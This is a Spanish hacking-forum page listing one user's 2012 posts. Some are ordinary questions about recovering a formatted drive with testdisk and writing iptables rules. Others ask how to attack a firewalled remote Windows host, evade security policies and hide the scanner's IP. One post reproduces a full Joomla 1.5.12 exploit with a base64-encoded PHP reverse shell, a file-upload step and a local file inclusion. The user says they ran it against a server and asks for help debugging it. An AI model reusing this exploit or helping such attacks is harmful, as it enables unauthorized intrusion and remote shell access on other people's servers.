elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: 1 [2] 3 4
11  Informática / Software / Re: Uso de testdisk para recuperar archivos en: 5 Diciembre 2012, 08:04 am
Vamos hombre, ¿nadie?
12  Informática / Software / Uso de testdisk para recuperar archivos en: 1 Diciembre 2012, 13:38 pm
Buenas, el otro dia estaba instalando windows 7 en un pen a traves del ultraiso y cuando le di a formatear pues al tener conectado el disco duro de 750 gb para sacar el windows 7 que lo tenia hay almacenado pues la lie gorda. Sin querer empezo a formatear el disco duro de 750 gb asi que rapidamente lo desconecte y paso del sistema de archivos ntfs que tenia al sistema de archivos fat. Lo curioso es que miro el espacio del disco duro y tiene el mismo espacio libre y ocupado que antes del formateo pero con carpetas y archivos ilegibles.

Le he pasado el testdisk y estos han sido los resultados:
1º Al darle a analyse y darle a quick search no encuentra nada



2º Enter y paso a escaneo profundo



Eureka, me aparecen dos particiones ntfs como perdidas.

3º Le doy a list files y....



*****, por falta de tiempo no puedo continuar y apago.

¿Alguien que sepa manejar testdisk y sepa ver lo del inicio y fin de los sectores podria decirme si tiene solucion?

Gracias de antemano
13  Informática / Software / Software para recuperación de particiones y datos en disco duro. en: 18 Octubre 2012, 21:54 pm
Hola buenas, escribo en este foro porque siempre sois super buenos y rapidos en contestarme  ;-)
A lo que vamos, la he liado grande. Me disponia a grabar un windows7 en un usb con el ultraiso y sin querer a la hora de dar formateo rapido lo he echo a un disco duro externo por usb de 750 gigas. En cuanto me he dado cuenta he mirado en equipo y me aparecia el mismo tamaño de disco ocupado y el mismo libre, osea que los archivos estan!! pero los archivos estaban ilegibles y todos ponen incluidas las carpetas 0 bytes.
Os adjunto dos imagenes para que me entendais mejor.



Creo que antes tenia ntfs porque contenia archivos de mas de 4 gigas y ahora tiene fat32.
¿que hago para recuperarlo de nuevo? Get Data back for NTFS, testdisk,...?
¿Que a podido suceder?
Gracias de antemano!!
14  Seguridad Informática / Hacking / Re: ataque con puertos filtrados en: 23 Marzo 2012, 15:04 pm
Muchas gracias, yo no tengo acceso a la extranet, me han comentado de que los ordenadores no dejan ejecutar programas por lo que pienso q tendran directivas, hay alguna forma de saltarse esas directivas de seguridad rapidamente sin acceder como administrador?
15  Seguridad Informática / Hacking / Re: ataque con puertos filtrados en: 20 Marzo 2012, 16:39 pm
Perdona, quizas no me haya explicado bien.
Con nmap he sacado estos resultados de una ip:
135 tcp filtered msrpc
136 tcp filtered profile
137 tcp filtered netbios-ns
138 tcp filtered netbios-dgm
139 tcp filtered netbios-ssn
445 tcp filtered microsoft-ds
Si esta trabajando bajo un firewall ¿como puedo realizar el ataque sin pertenecer a la red local?
¿si lanzo un exploit remotamente me lo va ha detener el firewall?
16  Seguridad Informática / Hacking / ataque con puertos filtrados en: 20 Marzo 2012, 10:53 am
Hola buenas, estoy intentado recabar informacion de una ip. He empezado con nmap para ver los servicios y puertos abiertos.
Antes de nada decir que no es el tipico server web con el puerto 80 abierto y ni estoy ni tengo acceso a la misma red local.
Los resultados lanzados por nmap son:
135 tcp filtered msrpc
136 tcp filtered profile
137 tcp filtered netbios-ns
138 tcp filtered netbios-dgm
139 tcp filtered netbios-ssn
445 tcp filtered microsoft-ds
El sistema operativo me salta como desconocido.

Como puedo apreciar son los tipicos servicios de windows que vienen abiertos por defecto y algunos mas, por tanto la maquina remota es un windows.
El problema es que anda corriendo detras de un firewall porque no ha podido sacar el sistema operativo y porque los puertos estan filtered.

He leido por google y veo que con nmap se puede evadir el firewall, pero ...¿para que me sirve?, no es que esten cerrados los puertos y no me diga el servicio que corre sobre este puerto, en este caso me da toda la informacion que quiero asique evitar el firewall para el scaneo con nmap no me hace falta.

Pero no me va a servir de nada un ataque si esta detras un firewall.¿Verdad?
¿A alguien se le ocurre algo o me doy por vencido?
Recuerdo que no estoy en la red local.
17  Seguridad Informática / Bugs y Exploits / Re: parametro puerto para exploit en: 19 Marzo 2012, 19:54 pm
nadie?
18  Seguridad Informática / Seguridad / Re: duda del parametro -d en iptables en: 19 Marzo 2012, 12:53 pm
¿Acaso he incumplido alguna norma a la hora de preguntar?
Creo que es una pregunta muy sencilla para que no me conteste nadie en dias.
¿Acaso la he planteado mal o no se me entiende?
19  Seguridad Informática / Seguridad / duda del parametro -d en iptables en: 17 Marzo 2012, 20:13 pm
Hola buenas, mi duda es sobre una regla para iptables.
Yo escribo esto: iptables -A OUTPUT -d IP -j DROP
Si yo estoy haciendo un escaneo a por ejemplo google y no quiero que envie paquetes con mi direccion ip o el proxy que estoy utilizando que debo poner despues de -d? ¿la ip de google, mi ip, la ip del proxy que estoy utilizando?
20  Seguridad Informática / Bugs y Exploits / Re: parametro puerto para exploit en: 9 Marzo 2012, 12:12 pm
Muchas gracias, hay va el codigo en php:
Código:
# Title: Joomla 1.5.12 connect back exploit 
# EDB-ID: 11262
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Nikola Petrov
# Published: 2010-01-26
# Verified: no
# Download Exploit Code
# Download N/A
#!/usr/bin/php
<?php
/*
    Copyright (c) ITIX LTD
  
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
  
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
  
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
  
    TITLE:      Joomla 1.5.12 connect back exploit
    AUTHOR:     Nikola Petrov (vp.nikola@gmail.com)
    VERSION:    1.0
    LICENSE:    GNU General Public License
  
    Platform: Joomla 1.5.12
    Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
    Date: 27.08.2009
  
    Joomla 1.5.12 suffers from different kinds of vulnerabilities:
        - path disclosure
        - unauthorized file upload
        - local file inclusion
  
    I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
    that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
    but these are enough to get a connection back from the server.
  
    Path disclosure: joomla/libraries/joomla/client/ldap.php
    Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
    Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php
  
    Here is the LFI vulnerability:
    -- snip-snip: folders.php --
    <?php
        require_once('config_tinybrowser.php');
        // Set language
  
        if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
            require_once('langs/'.$tinybrowser['language'].'.php');  
        }
        else {
            require_once('langs/en.php'); // Falls back to English
        }
        ...
    -- snip-snip --
  
    [wadmin@M01 1.5.12]$ ./jtiny-1-5-12.php % 80 / % 9090
  
    [+] web root: /var/www/html
    [+] tinybrowser secret: s0merand0mjunk!!!111
    [+] Shell successfully uploaded.
    [+] Executing shell...
    [wadmin@M01 1.5.12]$
  
    [wadmin@M01 /]$ nc -vvv -l 9090
    Connection from 127.0.0.1 port 9090 [tcp/websm] accepted
    id && uname -a
    uid=48(apache) gid=48(apache) groups=48(apache)
    Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux
    exit
    [wadmin@M01 /]$  
*/
  
    if($argc < 6) {
        print "\tvulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
        print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n";
        print "\texample: jtiny-1-5-12.php % 80 / % 9090\n\n";
        exit();
    }
  
    $RemoteHost = $argv[1];
    $RemotePort = $argv[2];
    $RemotePath = $argv[3];
    $LocalAddress   = $argv[4];
    $LocalPort  = $argv[5];
  
    if($argc == 7) $RemoteDocRoot = $argv[6];
    else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath);
  
    if($argc == 8) $Secret = $argv[7];  
    else $Secret = "s0merand0mjunk!!!111";
  
    print "[+] web root: $RemoteDocRoot\n";
    print "[+] tinybrowser secret: $Secret\n";
  
    $Shell =  
        "PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz".
        "cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ".
        "QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi".
        "dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh".
        "bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv".
        "cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v".
        "c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy".
        "YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp".
        "KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07".
        "CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo".
        "aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s".
        "JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws".
        "ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW".
        "KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk".
        "UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl".
        "aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh".
        "ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF".
        "KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp".
        "KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ".
        "TykpIGV4aXQ7CgkJfQoJfQo/Pgo=";
  
    $File = fopen("./_shell", "w") or die("Cannot open: ./_shell");
    fwrite($File, base64_decode($Shell));
    fclose($File);
  
    #print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n";
    if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) {
        print "[-] Cannot upload shell.\n\n";
        unlink("_shell");
        exit();  
    }
    else print "[+] Shell successfully uploaded.\n";
    unlink("_shell");
  
    print "[+] Executing shell...\n";
    shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort);
  
    function getRemoteDocRoot($aRemoteHost, $aRemotePath) {
        $Client = curl_init();
  
        curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php");
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
  
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n";
            exit();
        }
  
  
        curl_close($Client);
  
        $Step1 = strpos($Response, "not found in <b>") + 16;
        $Step2 = strpos($Response, "/libraries/joomla/");
  
        if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath));
        else return substr($Response, $Step1, $Step2 - $Step1);  
    }
  
    function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) {
        $Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass=");
  
        curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath"));
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1);
  
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] uploadFile() recieved http code $HttpCode.\n";
            exit();
        }
  
        curl_close($Client);
  
        return strpos($Response, "File Upload Success");
    }
  
    function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) {
        $Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00";
  
        $VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort";
  
  
        $Client = curl_init();
  
        curl_setopt($Client, CURLOPT_URL, $VulnerableFile);
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
        curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell");
  
        $Response = curl_exec($Client);
        curl_close($Client);
  
        print $Response;
    }
?>

Para abrir el puerto en backtrack utilizare
Código:
iptables -A INPUT -p tcp --dport 1414 -j ACCEPT
No he aguantado mas y he lanzado el exploit sin proxys, abriendo los puertos en el router, en backtrack y me da un error:
Código:
Fatal error:  Call to undefined function curl_init() in /usr/bin/exploit.php on line 166
lo que pongo es :
Código:
./php exploit.php ipserver 80 / ipmia 1234 ipserver/
¿Podeis echarme una mano de que puede estar fallando?


Páginas: 1 [2] 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines